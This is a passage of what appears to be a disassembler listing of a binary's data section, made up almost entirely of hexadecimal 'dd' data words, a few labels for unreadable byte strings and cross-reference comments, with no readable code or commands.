0C1E49DC0h, 0E00982C4h, 0BD9D800h dd 0D3891E6Bh, 3E200F9h, 9274F13Dh, 6700BAA2h, 0D8DD7FBFh dd 1419E05h, 0B70CED22h, 20CBC05Bh, 0E4012370h, 2C71EBFCh dd 3231C74Ah, 0B93400C3h, 3732A58Dh, 0F5007C19h, 0CF3126D2h dd 1C829EABh, 0A4149441h, 0D6AE01B3h, 34658AECh, 0C0C0B200h dd 30D7F8FEh, 0F98B04E3h, 0C0E5205Bh, 0B480FD0Ah, 0D09D7800h dd 4F99B177h, 0DF7303h, 0AB5B7212h, 4484A661h, 4455D4Ch dd 2541C960h, 4FD58980h, 16F57211h, 0B7977A4h, 480066DFh dd 0F99A824h, 211D91F8h, 71405111h, 676F2B20h, 0F78F00D0h dd 501C0DCEh, 130E3DBDh, 0E07C4706h, 0FED016E7h, 0AED90002h dd 59B25871h, 6E0055E9h, 4CD2CEE2h, 3027BA19h, 90A09F54h dd 8E000C15h, 14720A42h, 56A3B8h, 84783669h, 0CF6E371h dd 20DEE905h, 0B4D78C01h, 0D3C5C130h, 9C450063h, 18C0253Ah dd 0B81809D0h, 31B8BF6Fh, 0EB720007h, 225FF432h, 0A2EE993Eh dd 0CA106A01h, 6681AE33h, 1CB650F4h, 408B1F69h, 5E41AAE5h dd 0E91E75DAh, 0AF40BD94h, 2019E103h, 0FE27007Fh, 0E8791FAAh dd 3112D10Dh, 8C401145h, 1823FA9Ah, 2AF0026Ch, 0E7D9E35Bh dd 9C83D040h, 16C1B5Ch, 192CDD94h, 2C30A693h, 11677D25h dd 601CBDh, 1D2A33BFh, 102DCE4h, 6C586197h, 574D74A8h dd 0C3FD10C8h, 8200064Bh, 5360BF10h, 0E39031h, 43374EE7h dd 6D8020B0h, 0D17C9109h, 635C005Dh, 3FB3556h, 965283EAh dd 0C4C8B9BEh, 0B6005E26h, 0A230F842h, 1312C83Ch, 81D80h dd 10B81888h, 2A1F9CAFh, 0E280A103h, 7C70EB14h, 794F0556h dd 3B729D6h, 2AAFFED6h, 0C9A77D0h, 1F3EC871h, 519C0048h dd 71699B5Bh, 1CA8001Dh, 2C2DD85Fh, 2A019572h, 3E5AAA7Eh dd 4C30BBA5h, 54EA0093h, 380B1490h, 772E08Dh, 490F1700h dd 0C706F0C3h, 53E900A1h, 4F7751A5h, 0AC98CF94h, 3116B072h dd 3C02ED89h, 7AB1D96h, 2C51A254h, 0FB5F60E0h, 0EC2DC400h dd 0F4C9CCDFh, 0D76300E1h, 0AB2CB43Dh, 940006AEh, 0FCA68BC6h dd 324781h, 44FA3C9Bh, 0F87976EFh, 547FBE01h, 5F71E67Ch dd 0CFA1A840h, 9919006Bh, 4FED286Dh, 7037F1A4h, 8F7080DDh dd 1FBD5FE0h, 426B7E60h, 9903D4DFh, 5EFB4077h, 30FD003Eh dd 75EA9511h, 51002FEBh, 3C3F4D8Ch, 2B808h, 8EE8FA92h dd 9FF06139h, 70CB04Ch, 0DD3033Ah, 0DF87E740h, 897D035Ch dd 0CEB06531h, 0C0C1C4B0h, 0E97CE600h, 0D05A7E08h, 61C90028h dd 58E84873h, 2F29603h, 0A988B61Dh, 0D751CBh, 892B4A39h dd 3BCF3E18h, 1B774D01h, 40D271A6h, 21D3D4D2h, 73ABDE01h dd 2E2D799Fh, 4E066038h, 0F8A96245h, 989E1E01h, 4A90AEF5h dd 0E569003Fh, 0E7EF64Bh, 0A4508900h, 70608780h, 6E300E9h dd 0E802DEBFh, 4100DB76h, 9653A582h, 1219BF9h, 0B868E8Fh dd 0E09CF6D9h, 2F00B6A7h, 24BD2EDDh, 13ABC83h, 0EA7F5FCCh dd 0FC449E4Dh, 800B0CA7h, 80AC127Eh, 9D096D1Eh, 308E00A8h dd 3ED8205h, 50C0B001h, 51E9D79Fh, 0E7C600FDh, 0BA71071Bh dd 5700E4DDh, 0A09A9964h, 6C88BBh, 1D9EE737h, 59E14352h dd 0D47DC11Fh, 0B0000FD6h, 0D934589Bh, 4088A078h, 207B0025h dd 0A6621AB1h, 87167329h, 5807E672h, 7C705242h, 3514EBCh dd 0C3931231h, 0D5E877D9h, 0B50F7383h, 0C0F4EB6Ch, 29D83FE8h dd 48A4CDFh, 4977C104h, 6770C7EAh, 40228098h, 0B1004829h dd 4C9B6CE9h, 1D4EFB42h, 8F179EA8h, 55635A0h, 4116B010h dd 3A44D4D8h, 7CC007B5h, 18B51F1h, 8E38B0A5h, 24BD60D7h dd 0AA021CCCh, 5FE3B267h, 0C824C04Ah, 4EFC0029h, 35C5B4FAh dd 0DF09E9E1h, 0CB8DF58Fh, 311AB888h, 0DCAA0F5Ah, 2F200EA6h dd 66FAF87Ah, 0D5054C98h, 0E94E2DD0h, 2E2AA881h, 80DE07D4h dd 44006DBBh, 0B3764993h, 43CD6Eh, 0D135A727h, 60BE0CD5h dd 6D856C03h, 0F09E499Ah, 0CB06E0h, 0BC1B5DD9h, 3EF7B7A0h dd 0ADB2C801h, 0B16BCD15h, 0C65F2601h, 0DE609C40h, 742FD600h dd 17F4CF8Eh, 0AB44587Eh, 46505500h, 600CCCBBh, 2E940909h dd 0D7C46075h, 0F2FB032Bh, 52EF7A7Dh, 0DB423AD8h, 9D59CC00h dd 7201C262h, 0D2870675h, 0D0AA8341h, 0F6016477h, 99C38090h dd 4D20E2C1h, 0ACC400FDh, 0C7EB292Ah, 4E4C093Bh, 18E60B5Ch dd 0BE142392h, 0EDBFC0A5h, 0F6C203E4h, 705AAE6Dh, 3C6AA0BFh dd 7B01B7B3h, 41DAACEFh, 6830E888h, 0D1B5002Eh, 1E9EE525h dd 1F7624ECh, 890BFC00h, 0F9C4625Fh, 0CFB098Fh, 8F000EC9h dd 2C44B4ECh, 8201D778h, 0CE8DC4A4h, 0E03F31D4h, 1AE60B23h dd 0FAD52526h, 8E04E020h, 0EDCDDA09h, 0A85D8700h, 0DB80A2E7h dd 0B863264Dh, 700E8018h, 55DC4723h, 0AC17347Ah, 8C1CC7DDh dd 0BE6D3987h, 0EB2281EEh, 0DCC4BCF9h, 17950040h, 0CC13655Eh dd 0B287035h, 8617E0B5h, 88019480h, 529514F0h, 4928F8h dd 0B513E0AAh, 30688761h, 0CD8C8300h, 5E770925h, 0DC3109B4h dd 60608D88h, 8BF2C068h, 1D4EE39h, 237BF507h, 22E12F24h dd 2C8AD074h, 28CC11h, 0EE820FD1h, 6C00E566h, 0A65285F8h dd 60566DAEh, 735BF0CAh, 5C54693Bh, 0E45C53E0h, 43F206D8h dd 0B60596h, 0CD590ECFh, 0BCA9499Eh, 920824Ch, 8093422Fh dd 8EFA8BEh, 303C0483h, 0A0D65696h, 250FECC8h, 5462F7h dd 2C81798Dh, 30CA5C45h, 17D29400h, 1B39BDFAh, 503427Ch dd 1AA4E5D0h, 10E1E81Dh dd 300324E3h, 0FCCA8044h, 2F7B7248h, 2848009h, 0CC6C2073h dd 940BB662h, 61B107C0h, 4819F00Ah, 0BA4C7D9Dh, 1B460004h dd 0B65C180Bh, 94BC0010h, 0A5E14B8Eh, 4C001AFFh, 0D3F32371h dd 3366CDAh, 0D5078D4Dh, 0DFD1F408h, 0B46820A1h, 0FA17D8B0h dd 7C40C03Ah, 0F2C4D939h, 35231C57h, 1CAF4692h, 463A0266h dd 71C080EAh, 3F68D5C9h, 0CCF507CBh, 103CF667h, 0C6EF469Bh dd 2FB5A600h, 9CBB6C05h, 53FC1847h, 24B9581Ch, 0DCDC58h dd 91A5B21Bh, 2CB37A34h, 7354F65h, 306D3E0h, 0D0B72FD8h dd 0F1346B64h, 80E4663Fh, 2547B29Fh, 7F10C7A6h, 7E5324AEh dd 422A1F74h, 0F12ED5F8h, 11B00040h, 0B6006875h, 95A9DBC2h dd 3260C3Bh, 1789B4F9h, 50012E8Ah, 78563C61h, 0FEE4AA24h dd 80F2E3h, 1FD8C627h, 86483DD9h, 518B780Bh, 0A5988006h dd 174AE05h, 3717F35Dh, 0E862D464h, 42009CA3h, 991821CAh dd 90FDB0h, 8BBF35CEh, 4617919h, 0EC268200h, 1FC5E160h dd 2E74E0DDh, 388D731h, 4BC805BAh, 73CEEEE0h, 0A2FDCA00h dd 64F7CFF6h, 0FC2007BDh, 71ACF29Dh, 0D4939261h, 6003277Eh dd 0E1A93A78h, 0F0E0F44Ah, 0C0A74230h, 84442A33h, 396B0074h dd 26B2BB58h, 61031CE2h, 0AECA06D8h, 8E13D8A7h, 2DCAA0C4h dd 0FA7302DCh, 0EE91C085h, 31303AF4h, 0C1596h, 6E24478Dh dd 36F0BDF9h, 0E7CE7300h, 4E7D50B5h, 0D110006Ch, 1CEAA9CAh dd 727C98C7h, 12784D58h, 88D0A74Bh, 0E4D741B7h, 0CE050079h dd 8BA12E1Dh, 270EBE1Fh, 4042D8E2h, 0CD96DF1Bh, 0C1030018h dd 8BDA40B2h, 98000289h, 151DEB2Bh, 387FA3h, 3BB5E3D6h dd 13F7E273h, 4F399A04h, 0F4C02D0Fh, 70BFF96h, 110ADE33h dd 495A409Eh, 0EF00B36Ch, 5C1AA546h, 3CB2A4h, 0D989749Ch aAvaSx db 'AvaÒså',0 ; DATA XREF: ___:00444AF4o ; ___:00444B0Co ... aRSdjD0 db '!S¤J±„0',0 dd 9DB6AAE1h, 8B4613E7h, 142584Ch, 7A207C08h, 66EC4E5Ah dd 5EE60049h, 0B2EE9FAh, 0BB07E393h, 0E80E03D9h, 15A8B2C0h dd 0C7200EC8h, 868757A1h, 6C8099BCh, 51677A1Dh, 28B1F312h dd 0D0DC5000h, 119AF22h, 5CC8E1F0h, 2D2FDA6Bh, 0AD6A0060h dd 0FAA586E0h, 0A7E614DEh, 0A400D851h, 5408B63Ch, 4424ED64h dd 68039DE0h, 0DA8963BDh, 2844E9D7h, 0BA005439h, 0A24481Bh dd 552FCA2Dh, 949C0023h, 74C7AAh, 13D144B9h, 0CCA99C3Fh dd 6AEC3875h, 7BBB7300h, 0AFCB2926h, 51FE31h, 5AFBE116h dd 0D7A844EFh, 0EBE3FA00h, 68CFF14Ch, 58B0048h, 5F1840D4h dd 7D00FC6Dh, 0ED2EB6BDh, 4F989Eh, 69C00111h, 5FCB34BAh dd 77081E16h, 543CD044h, 7FFF0C8h, 0E2CF982Ah, 98A30B20h dd 0E0C02385h, 5C0004AAh, 16C41170h, 888BDh, 941EB4CDh dd 1DC74A22h, 8E37E200h, 9DC7C52h, 924C0189h, 0D603CE8Bh dd 0C2020A0h, 0D2536301h, 4C1768F5h, 7DBDE4E0h, 0F7130077h dd 0C9FBDB7Fh, 0BB003D93h, 0DA76F035h, 7E9A039h, 6D4B6CF1h dd 0AD54509Ch, 0FA00DFB1h, 0C5622FF4h, 3A60E79Bh, 0D03063D8h dd 26097196h, 0FF653001h, 2D2F16EFh, 7885A6C8h, 0A550079h dd 2A1E4F6Ch, 0E503F818h, 1B457075h, 53F4985Eh, 0BE65130Fh dd 1B00ABB4h, 356ACA01h, 10430A58h, 0F84182h, 2AD57C4Ch dd 17001EA1h, 0E897C08Eh, 4433F9h, 0B90D4B75h, 0A71DD38Dh dd 47988250h, 857A2Fh, 34DC1B90h, 6F7D1F0Bh, 0C01C82E3h dd 94603BF5h, 261CB8F9h, 0A300C975h, 37767857h, 8A4700A1h dd 0BD4A5B6Dh, 8500B1BEh, 81F8BAD9h, 98050B78h, 0C1E5C6Ch dd 2D17E403h, 7D80A3FDh, 9B00D4F9h, 9AAB3328h, 7238F2h dd 0BEA23934h, 74D6CBE7h, 3726DF13h, 67B0F702h, 7A58487Dh dd 1CC600ABh, 160376DDh, 27005C8Ch, 0C3DB60D3h, 1720B4Dh dd 8F3E614Ch, 201D7519h, 7B04C598h, 0B304305Fh, 5B8A3880h dd 6C4B0369h, 538D42BCh, 6B0428D6h, 78A689E4h, 12BBA097h dd 805CD3C4h, 32DD4AF1h, 130FC37Dh, 0C1D869D9h, 55DB46EDh dd 0FA33F460h, 5FEC00BFh, 0ACAF56ADh, 0E017DCE4h, 3009C952h dd 4BB8110h, 65E069CEh, 0A46181Ah, 64D77642h, 0F38D5703h dd 0B8115D41h, 1BCCBE9h, 3325E5EAh, 0C0D734A4h, 0CE00175Eh dd 0DB703C3Ah, 2D38FAh, 0E6D37FBCh, 896DE564h, 0BE26523Dh dd 0A71E93EAh, 79C1210h, 0ABCC2EF6h, 623AB7E0h, 0FD9300B5h dd 0E4229911h, 97EF60h, 0D10488C8h, 0BA5E0E3Bh, 0E2C1B54Ah dd 62224FB6h, 29AD00ACh, 97DEAB54h, 0CCB235h, 89148EB3h dd 1C835D28h, 0C7D9E51Fh, 48D18100h, 175752B6h, 0DCE7AE94h dd 0C8B4A0D0h, 2D03F0ACh, 82C0C9A6h, 7ACC0D6h, 277C0C9Eh dd 1EE62989h dword_524550 dd 984F241Fh, 780EFE57h, 83DB80E3h, 9B3235h, 0D92EA31Dh ; DATA XREF: ___:004449E4o dd 0AAE23945h, 3D20D02h, 405849EEh, 0D0D789h, 8EB88D3Bh dd 7F9232A1h, 1C8F7A58h, 10CED321h, 0ACA58067h, 60B3CDEh dd 0BF2FF0CEh, 0B500E21Bh, 5B0CC9E0h, 140A9A8h, 756B7938h dd 0DCE1864Eh, 309060C2h, 0F53D0900h, 72E07C7Bh, 63B80762h dd 220AEE6Eh, 6C504CF1h, 0D0167700h, 5DB894CCh, 0BAF90071h dd 5AEC653Fh, 32000213h, 0D8A0F86Eh, 43DC39h, 0E2C05872h dd 165CCB04h, 3E2E9003h, 0B70170F6h, 0E8F269E3h, 242A52EBh dd 4CFAA2h, 4BDD34A0h, 18C0D613h, 98A6CC90h, 0DEF21823h dd 5D7A0892h, 9F20FC63h, 8F34E02Bh, 6E981DA4h, 0A93040A3h dd 6C83CDF3h, 0E11E11F4h, 554079DCh, 2D04BC54h, 6197077Fh dd 0FC364029h, 43005A18h, 8D92A0BAh, 7C739DBDh, 807713h dd 0A6527E86h, 0AA46DAB5h, 98C3C598h, 9FEE5515h, 989E894Dh dd 4229C3DDh, 67B06C3Ch, 8A00121Dh, 0EAC59A4Dh, 0C0911033h dd 7C9FB1B0h, 20A0E155h, 0D2015CA9h, 0BA293E27h, 0BCD005FFh dd 13550BD3h, 680ABCDh, 307B66D7h, 40B91000h, 20E8FEC4h dd 5F3E0347h, 51E0E02h, 53D08788h, 360012E2h, 812CA154h dd 0A0FD85EFh, 3F4143A0h, 9080E642h, 0CAC038E9h, 7400198Eh dd 0A0FF85D2h, 0E267B165h, 0CCD50F92h, 4C5F9029h, 0D0A8089Bh dd 0E1A0A573h, 591F728Bh, 74C07781h, 17145C5Dh, 88C900BDh dd 23EB2613h, 7D00AEBEh, 6DD53EF7h, 736ECFDh, 0E62F27E3h dd 2AB38069h, 43FCFC74h, 1F7AB200h, 52A8308Eh, 0C1DC005Ch dd 0D667194Fh, 8200BA3Eh, 0EA02CEF9h, 12D336E1h, 0CCAA26h dd 5544A77Fh, 88E42A53h, 7F92C02h, 0DD25E069h, 0E58A6E80h dd 9A0124EAh, 0E1314A81h, 0BC52299Eh, 7704952Ah, 69C0841Fh dd 5C346ACh, 200F5280h, 0FA21CDE0h, 227A10C0h, 0A73098h dd 4BE81472h, 0BF37074Dh, 0CD2A7700h, 0D7D81F33h, 0CACE327Ah dd 0B011F029h, 20444F08h, 0DCCF4451h, 1D641084h, 80B2178h dd 0C2BED306h, 2810FF11h, 0B5733C47h, 85080489h, 0A3296664h dd 12DE3821h, 61C41020h, 8B1EFF88h, 8C22E2B2h, 67082EDAh dd 7C84FB90h, 0D96844E7h, 0CBF7B200h, 740040B5h, 0F1573B9Ah dd 0CF8E23h, 1AD1701Ch, 6324C0AEh, 87B9E500h, 0D3C9AD2Fh dd 2A1100CBh, 86B6A428h, 39005C09h, 414E475Ah, 0F03199h dd 78D436BDh, 0E9162579h, 0FBF1E02Ch, 0DC56B100h, 1CA4D313h dd 7C9E1BD1h, 587B4084h, 582C0A0h, 1201F02Ch, 9D17666Ah dd 0F4C09B03h, 0D0CA3B33h, 0E5D1CD00h, 0AF93DD47h, 8F281400h dd 0A2835ED7h, 0BAE4003Ah, 23B33ECAh, 7B01756Fh, 0C2A43D3Fh dd 2824D55Eh, 6D80089h, 9B0A3638h, 0DE0009B1h, 682A05BBh dd 0D57E49h, 285F7CA7h, 0D9A6C53Dh, 4812D600h, 0C3EC6CCh dd 18E8F404h, 98E6495Ah, 5000190Eh, 10A91B4Bh, 0F5FB18Eh dd 0D566BD3Eh, 2DE97002h, 917E8B58h, 0C5561709h, 0B55C20CBh dd 1BD9BB4Dh, 849A1413h, 96B042AEh, 0A498EB60h, 0DC039h dd 0F45B7248h, 0CD0C694Ah, 8D5F0100h, 767A2540h, 56F48Eh dd 87ECFE2Ch, 3D2B94A2h, 49EACD03h, 0F6C5BBACh, 77FDFEC0h dd 0D93500B5h, 480F066Ah, 0EBE2440Ah, 591E2FFAh, 439C4731h dd 1E8F0B00h, 1E3DAD93h, 7FE6AB3h, 216D151Dh, 0C01F22FAh dd 800046A1h, 0F98E7A42h, 0A3CE9A7h, 0DED095BCh, 0AFF300E4h dd 9C1735BBh, 41AB9202h, 8076E1C5h, 0D0376AA0h, 1078977Bh dd 0C80028F6h, 6609442Fh, 0A1619Dh, 6BBF9B0h, 0E71D975Fh dd 1932AB0Fh, 0C85220B7h, 0B8766C21h, 3F2C09FFh, 811EFEh dd 607C92A5h, 7AE01BD3h, 0E46D7200h, 0A13538F0h, 480A5C71h dd 0B8BE4100h, 0B918F6CBh, 75729B00h, 0FD95500Dh, 2C990053h dd 0BBCCA54Dh, 0AA03BD71h, 0E154338Eh, 0F8B4E309h, 9259089h dd 0C5686CA1h, 60FF4100h, 0AB7B07EEh, 9A4C5Ch, 0B28EC8Bh dd 1C5A608h, 278CD310h, 70A2A46Ah, 0F01F2B21h, 4A00EAD5h dd 29552D25h, 9DF7E35h, 0C0E60710h, 820B6402h, 0AD8D0C48h dd 10202F6h, 2034B796h, 0D0AAE02Bh, 9EC76E3h, 0B2664908h dd 3BF78CA0h, 700D5A7h, 69EDB6EFh, 0EB9802h, 0E5847127h dd 0D6C14618h, 34F8FA24h, 0FB078800h, 696413h, 9F08A5C5h dd 0C12E3EE7h, 8058563Eh, 0E374BD23h, 501927Fh, 206E6762h dd 0CF400D1h, 0D683F412h, 0FA813602h, 4097F825h, 67FF1Ch dd 9B6E6A3h, 33BE002h, 592A5809h, 646079Ah, 3438AB80h dd 5C53006Ah, 4B27E1BDh, 46007B2Bh, 0A7F45250h, 0B569FEh dd 0A1670E49h, 0D8D73FBBh, 68774F03h, 0D095EEAAh, 7C44AF64h dd 31C71772h, 0E638008Eh, 7D2C7E22h, 0B7C3F607h, 56B0C4EFh dd 1F9CBB05h, 0C095961Bh, 0BFF293E1h, 8800654Bh, 64E9180Fh dd 0EE754h, 0F11FA6E2h, 7AFD823Ch, 47709400h, 1BD6D8B4h dd 0B660084h, 269D6D78h, 0EA7B2D67h, 29A0CC00h, 0BEE29A9Bh dd 0BB1100CDh, 7F1FF844h, 861C92A2h, 2900C722h, 0F52E73F6h dd 0FF13003Ah, 0F09D99BAh, 0C99C53Eh, 219E0B00h, 0D70D48h dd 74A36024h, 0CB33973Ch, 80BBC600h, 1548028Eh, 0DB6201ECh dd 8AFE34F8h, 0AE3020C8h, 8E675F06h, 6210D5D6h, 0CD59764Ah dd 0C765A240h, 933A7A00h, 9DD4E55h, 553043Dh, 97649749h dd 85E74024h, 9913D4F1h, 68074B42h, 2D2126D1h, 10A4B083h dd 6F7D002Fh, 0BCC20512h, 4701A0E6h, 0E67F043Bh, 0D46428F1h dd 0C2E50E0Ch, 0BB449706h, 611080CEh, 0CD3C5F2Eh, 178485Ch dd 0B13CFD05h, 0DC301D32h, 15182094h, 9AF68B7Ah, 0AC7CECA0h dd 404C9900h, 4485F0DBh, 1DB90082h, 65CFCED5h, 0C241455h dd 4F07DC86h, 0B7F220ACh, 0DBC0DD36h, 0F9013E84h, 86379DCh dd 52C41832h, 0B71A6h, 5426294Ah, 0F373E8CBh, 1B81D91Dh dd 903D7B80h, 1E501C9h, 0B12D9F37h, 0EC2B9364h, 0CF58BDF1h dd 0D7DB00A6h, 7857551Fh, 0DC3506CDh, 282EE016h, 1211EB00h dd 0B73E3A0Fh, 0D01C26D5h, 4C8E3B30h, 0DB6269CEh, 0D460A3E0h dd 55489D8Ch, 37D6009Ch, 30FC925Bh, 21C51CBAh, 782FC008h dd 971D3B94h, 0B1834A00h, 239D1069h, 24C8903Ch, 1217B9h dd 340A5089h, 6E72FB6Dh, 6901AF0Eh, 2E36E34Dh, 95F1F16Ah dd 5D194F8h, 2A9B71BCh, 29B80114h, 0DC04A23Eh, 964A7A87h dd 72CF8B0h, 0BD7F5F6Dh, 0CD4E7059h, 0E80429B2h, 45A54C12h dd 0A0ED9ACh, 8E0061E1h, 0F144E04Dh, 0D915D70Ah, 0F801C8A8h dd 0D640BD7Eh, 7948C8h, 46F5502Eh, 10674523h, 1A01A102h dd 0C8A8FA54h, 1CD35064h, 0C080787Eh, 0A3098E45h, 0C73D4F01h dd 0FFFC5443h, 0E47A503h, 2AEB2Fh, 0B7F5EC8Ch, 1B87B48Bh dd 4F8E8F00h, 0C547C980h, 90DC00AFh, 1D420910h, 7B0F2508h dd 25A30ABFh, 0D803D8B5h, 8FA9C54Ch, 608035C2h, 28ACE590h dd 39DCFA06h, 678020CAh, 411377B2h, 0BF7325E8h, 1C00A1ECh dd 0CBFE9E7Dh, 713F5AECh, 4F3900F0h, 0C80B61E6h, 0F70287CDh dd 3B90E7D2h, 7089E077h, 197623h, 0A9BAFBF0h, 3A5E50CBh dd 16712200h, 0EC6C45F5h, 83D5004Ah, 0A610A46Bh, 0E700C5CAh dd 7F11FE53h, 0C0CB210Ah, 72D31E98h, 9B048EB6h, 0EC39693Ch dd 0DFB0A0h, 7B2F6E03h, 0F9FF345Ch, 0D7861B00h, 62C96804h dd 387D96h, 0C011FD75h, 0CBE19530h, 119B33Fh, 5EBB425Dh dd 12EC1AA2h, 8936177Fh, 0A5F802F0h, 0ACE0CCCEh, 7601C811h dd 0C4A4C58Fh, 77C84CA9h dd 0B4AE5DE4h, 4251200h, 3EB44A64h, 0F7006D75h, 8366F10Eh dd 288F5Fh, 6E52F66Ch, 78EC5740h, 23312200h, 0B9FA750Eh dd 0F50A0086h, 0FFCF885h, 163904DCh, 0A9450008h, 0F21238EBh dd 7EF70901h, 88007DB6h, 0F8678D7h, 1076A100h, 7BC4384Dh dd 0E7E400AAh, 0F28343E8h, 0F8002AB5h, 0C865738Bh, 209B731h dd 3ED448F4h, 3CC0A1B0h, 0E47D4F3Fh, 0D3643Dh, 5FA7137Fh dd 1D176FA2h, 0FD0AD7h, 0C1EA66F0h, 8E0004D5h, 2FCDD9B8h dd 76419755h, 0D90260C4h, 155932CBh, 265B9B14h, 73D300B1h dd 412F5D11h, 3B1F1681h, 0FBE3007Eh, 0F0CE172Eh, 5F80FA00h dd 0C47F614Ch, 2CF40110h, 0A901E0B7h, 361080DEh, 0D67DA5A1h dd 27B600DBh, 0CF62A4F7h, 51F66C47h, 755DCD1Dh, 6A7BF4CCh dd 0BFF41Ah, 191687A9h, 0DE03BAADh, 0E3810601h, 0FD8BEE96h dd 801ABADBh, 4B28C5A8h, 0BD680039h, 5991E799h, 4900C2EBh dd 0EAA98F14h, 215E675h, 0CD88F053h, 8880B268h, 4AD61D4Bh dd 7334A000h, 9F0F3AF8h, 0A8FE0FD0h, 50E178CBh, 0EFF69309h dd 0BCB046A8h, 17B02EF2h, 0E4C27203h, 0DC73A74Ch, 38008A85h dd 2A2B3DEAh, 76438F5h, 75465C0Ch, 2203CCEAh, 94ED3FD5h dd 0C3EAB028h, 0ACD9006Bh, 502B3B91h, 0BC009015h, 0DBF26CC5h dd 0BB0D58h, 0B4A5D165h, 0AC917B8h, 7CE87A00h, 96E2AF02h dd 989500A6h, 2C39D365h, 0EDB8A423h, 0B0868C00h, 5F086C27h dd 0D070B4h, 0FF428F94h, 0AC177C66h, 56E1E401h, 0F73BAF2Dh dd 0F239B88Eh, 601F4B67h, 33F3A615h, 2EC3011Dh, 0C4DF2070h dd 0A85A0024h, 207D8E83h, 0F16342Dh, 0A500882Fh, 28485D9Ah dd 633E0070h, 85975926h, 1009CF6h, 4733B144h, 584B1E91h dd 830E255Fh, 0B220B30Dh, 5AE5299Dh, 7D642500h, 0CA994228h dd 162E03B1h db 68h, 15h, 97h aIty db '"ØI’y',0 ; DATA XREF: ___:00444B64o ; ___:00444B74o ... aDblree db 'dbLRE¥È>',0 dw 8760h dd 1D3FC138h, 0AEF2DC3Bh, 22817800h, 0AF320751h, 59CA00F6h dd 0B0FC7214h, 0C20021BBh, 309B0C91h, 0AA7805h, 9CEE55E1h dd 1C362B68h, 0E707D800h, 0C1492C40h, 9DCF1DB5h, 0EB3B8078h dd 3993B013h, 0CDF00F50h, 0F7DC8600h, 3D696554h, 15FE4D1h dd 2BC99747h, 242007FAh, 53005C80h, 0E02F8952h, 0B606CBh dd 665BA8ECh, 1392188Fh, 0CD086F01h, 8A75C696h, 3882DFE5h dd 6CCCB61Eh, 0D9980040h, 8F24860Fh, 0CDD81C9h, 60E683EDh dd 0EB0438h, 0D62D513Ah, 0D394C19Ah, 24CE610h, 9C29EF00h dd 0E4F682Fh, 0A563C700h, 5C60FA55h, 53D5002Ah, 0D0BD8461h dd 541DD78Dh, 0A649EADEh, 0C0F20h, 0D9AF377Bh, 419C00FAh dd 0B70F492Bh, 8CA0B1F1h, 62012824h, 0E1DCBED8h, 5FE1D1BDh dd 6955F0h, 3FACCCCDh, 0C14D5334h, 1C2A2562h, 0F8AC6041h dd 487379h, 4E042AA1h, 0F326E13h, 29457312h, 0E7126C40h dd 57280DCh, 0CC936C8Dh, 20C000BEh, 795822D7h, 190FD54h dd 13A0A30Fh, 0AE9287C4h, 1541D1E0h, 47E7954h, 5F97D625h dd 9178D067h, 3701BB4Ah, 0E417DEB8h, 7FCC2E51h, 0A05CB89Bh dd 75C671ECh, 0C8F24125h, 6B005E2Fh, 99E3BBA9h, 0A35893Dh dd 0F906D0E1h, 8620A1h, 9F8F5ECCh, 0F075B0EDh, 29945F12h dd 90B9C200h, 3C3D46h, 155A6F41h, 17BFBB79h, 53F6A512h dd 9DF0EC60h, 134F1D97h, 0D8058029h, 0B876C581h, 0BC2F5E00h dd 7277BB23h, 5CDF0037h, 0F839D42Eh, 1F2429FFh, 0EA1D7C32h dd 0EF234A47h, 876C04DFh, 6F855490h, 0E6D6005Dh, 8019A904h dd 0B4A06611h, 0B8901E15h, 6D11C960h, 3ECDE045h, 4300C7ADh dd 42DDB408h, 0F83F36F5h, 0F4960003h, 0B7B21E21h, 0C00AFA10h dd 47A217A2h, 61079E3Bh, 397EB8Ch, 0C94F80CEh, 1F6EFC0h dd 9F1ED9AEh, 0D496BF75h, 0F300CEC6h, 0AA7232A2h, 1BC206h dd 56615A47h, 4D2E4B39h, 258DA600h, 97EDE975h, 0F69A0045h dd 0C541CC2h, 7202F2E1h, 0EA076B29h, 74C048A9h, 0B690EEFh dd 4DC08FCBh, 5C566657h, 37FCF3Fh, 6B3A1422h, 80F1CA25h dd 8D7EA1F0h, 0B1900BBh, 592AE9D4h, 0C1007366h, 516DACD6h dd 1DDC7C88h, 40D0FF4Eh, 6F1F8521h, 0A307F944h, 0F6A0A920h dd 0B2112CF0h, 891510AAh, 237500BFh, 5571E776h, 0DB1200FFh dd 0F9A50C9Fh, 71F61D8h, 640043B9h, 477C9D6Bh, 0A520027h dd 62F1EB9Ah, 2AF25523h, 119F4D00h, 90806E6Ch, 0EED071D1h dd 0ACC007Ah, 0E220E34Ah, 8500640Dh, 0D85B72B7h, 7CB2468Ch dd 0A46590E9h, 4A14080Ch, 20C7F7A1h, 3A49B90h, 9D5E0C71h dd 0F420E3B4h, 52FB8103h, 0F98DFE79h, 2ACCEFD7h, 5F993011h dd 0A914D1F8h, 39666E00h, 0C9D47480h, 4F0807DCh, 714BBD4Dh dd 0C09D25D2h, 873CC34Eh, 0F4EE1DD8h, 0F21DA80h, 2354829h dd 0BA320BDh, 98E88E14h, 0C0007C19h, 1EA2E67Ah, 0BE687Fh dd 0F529226Ch, 0A1C70C5Ch, 46000AE8h, 24DC2A15h, 179DE34h dd 74DD08BAh, 6043481Eh, 1920B270h, 0E44FE32h, 0E4E0E558h dd 0A3CAB20h, 0ED1A3174h, 0C07975FDh, 287CFB11h, 39838E2h dd 5F72E701h, 20071C41h, 2B9F3F46h, 85507180h, 7F94A0F0h dd 0F3B300B2h, 597D1C2Ah, 0D0E22F03h, 82048538h, 0C90832C7h dd 2898486Dh, 71FC60A9h, 76F15958h, 0B1A85000h, 6E407BEBh dd 162A12BBh, 0E6A840EEh, 48B9ABCCh, 0FF82BE02h, 40DC561Bh dd 6C5FF663h, 0D728C677h, 912A000h, 67C33C3h, 5CE9E086h dd 0DF00D759h, 0A26644AEh, 0BE0F3DA5h, 0C650F6F1h, 0BE83506h dd 0B615823Bh, 7BC8D100h, 0E029CC6h, 0FDA7EFCEh, 2DAFE031h db 0A1h byte_525345 db 0, 4Ah, 20h ; DATA XREF: ___:004449DCo ; ___:00444D64o dd 388F0804h, 16001474h, 7DA8F8BCh, 1E9CB5Eh, 0C7069FAEh dd 30922C88h, 5B0148D4h, 0F4B3BC11h, 0B88E1C29h, 0D00F280Dh dd 683A6C00h, 0B60080D2h, 0F9E30E44h, 9031C99Dh, 0A80800D8h dd 0EFA521F8h, 0CE006C6Eh, 0D6F5DEB4h, 0C80E18h, 3B9C48A9h dd 830D795Ch, 16C2A200h, 812CFFADh, 1D2E2C25h, 0C01934A0h dd 299BD1A0h, 73460103h, 3F05E908h, 0C8004868h, 9E7E323h dd 0A12E1199h, 0EC967C58h, 